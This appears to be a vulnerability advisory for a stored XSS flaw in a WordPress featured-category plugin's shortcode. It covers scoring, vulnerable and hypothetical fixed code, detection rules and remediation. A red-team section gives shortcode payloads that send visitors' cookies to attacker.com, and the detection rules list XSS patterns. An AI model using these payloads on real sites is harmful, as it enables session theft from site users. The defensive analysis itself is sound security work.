CVE-2025-5538

Executive Summary

CVE-2025-5538 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the BNS Featured Category WordPress plugin, versions up to and including 2.8.2. The flaw resides in the plugin's [bnsfc] shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript or HTML into posts or pages. When a victim (including administrators or site visitors) accesses the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used plugin and requires only low-privileged access. The EPSS score is currently 0.0%, indicating low exploitation activity, but the lack of a patch makes it a ticking time bomb for unmaintained sites.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Since no patch is available, site administrators must consider removing the plugin or applying a virtual patch via a Web Application Firewall (WAF). The supply chain risk is moderate, as the plugin is not actively maintained, and no official fix has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs Contributor-level access or higher.
• User Interaction: None (UI:N) – The victim does not need to perform any action beyond viewing the page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Content modification possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires authenticated access. However, the lack of a patch and the widespread use of WordPress make it a significant risk for unmaintained sites.

Deep Dive & Mechanics

The BNS Featured Category plugin registers a shortcode [bnsfc] that allows users to display featured category posts. The shortcode accepts attributes such as category, number, order, etc. The vulnerability arises because the plugin does not properly sanitize or escape these attributes before outputting them in the generated HTML.

For example, an attacker could inject a malicious payload via the category attribute:

[bnsfc category="<script>alert('XSS')</script>"]

When WordPress processes the shortcode, the plugin directly echoes the attribute value without escaping, causing the browser to execute the injected script. Since the shortcode output is stored in the post content, the XSS is persistent (stored) and affects any user who views the page.

The root cause is the use of echo or printf with user-supplied data without applying esc_attr() or wp_kses() functions. WordPress provides built-in escaping functions, but the plugin fails to use them.

Vulnerable vs. Patched Code

Vulnerable Code (bns-featured-category.php, line ~45):

function bnsfc_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'category' => '',
        'number' => 5,
    ), $atts );
    
    // Directly outputting the attribute without escaping
    echo '<div class="bnsfc-category">' . $atts['category'] . '</div>';
    // ... rest of the function
}
add_shortcode( 'bnsfc', 'bnsfc_shortcode' );

Patched Code (Hypothetical Fix):

function bnsfc_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'category' => '',
        'number' => 5,
    ), $atts );
    
    // Properly escape the attribute before output
    echo '<div class="bnsfc-category">' . esc_html( $atts['category'] ) . '</div>';
    // ... rest of the function
}
add_shortcode( 'bnsfc', 'bnsfc_shortcode' );

The fix uses esc_html() to escape the attribute value, preventing XSS. Alternatively, esc_attr() could be used if the value is placed inside an HTML attribute.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with BNS Featured Category plugin <= 2.8.2
• An account with Contributor-level access or higher

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode with a malicious payload:

   [bnsfc category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or save the post.
5. When an administrator or visitor views the post, the script executes, sending cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[bnsfc category="<img src=x onerror=document.location='https://attacker.com/steal?cookie='+document.cookie>"]

Note: No public exploit code is available at this time. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor WordPress logs for shortcode usage with suspicious attributes.
• Use a WAF to block requests containing <script> or onerror in shortcode attributes.
• Regularly scan posts for injected shortcodes.

Hunting:

• Query the WordPress database for posts containing [bnsfc with suspicious patterns:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[bnsfc%' AND post_content REGEXP '<script|onerror|onload|javascript:';
  

Prevention:

• Disable the plugin until a patch is available.
• Apply a virtual patch using a WAF (e.g., ModSecurity rule to block XSS in shortcode attributes).
• Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bns-featured-category/bns-featured-category.php (version <= 2.8.2)
• Shortcode pattern: [bnsfc category="<script>...</script>"] or similar XSS payloads
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress server
• Log entries: WordPress audit logs showing shortcode usage with unusual attributes
• Database: Posts containing [bnsfc with HTML/JavaScript in the category attribute

Detection Engineering

YARA Rule

rule CVE_2025_5538_BNS_Featured_Category_XSS {
    meta:
        description = "Detects BNS Featured Category plugin files vulnerable to CVE-2025-5538"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5538"
    strings:
        $vuln_func = "bnsfc_shortcode"
        $unsafe_echo = /echo.*\$atts\['category'\]/
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2025-5538 - Stored XSS via BNS Featured Category Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the [bnsfc] shortcode in WordPress
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "[bnsfc"
        http.body|contains|all:
            - "category="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5538 - Stored XSS via BNS Featured Category Shortcode"; flow:to_server; content:"[bnsfc"; http_client_body; content:"category="; http_client_body; pcre:"/<script|onerror|onload|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Apply a virtual patch using a WAF to block XSS payloads in shortcode attributes.
3. Restrict Contributor-level access to only trusted users.

Long-Term Fix:

• Since no official patch exists, consider forking the plugin and applying the fix (using esc_html() or esc_attr() on all shortcode attributes).
• Monitor the WordPress plugin repository for an official update.
• If the plugin is abandoned, migrate to an alternative featured category plugin.

Detection:

• Implement the YARA, Sigma, and Suricata rules provided above.
• Regularly audit posts for suspicious shortcode usage.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert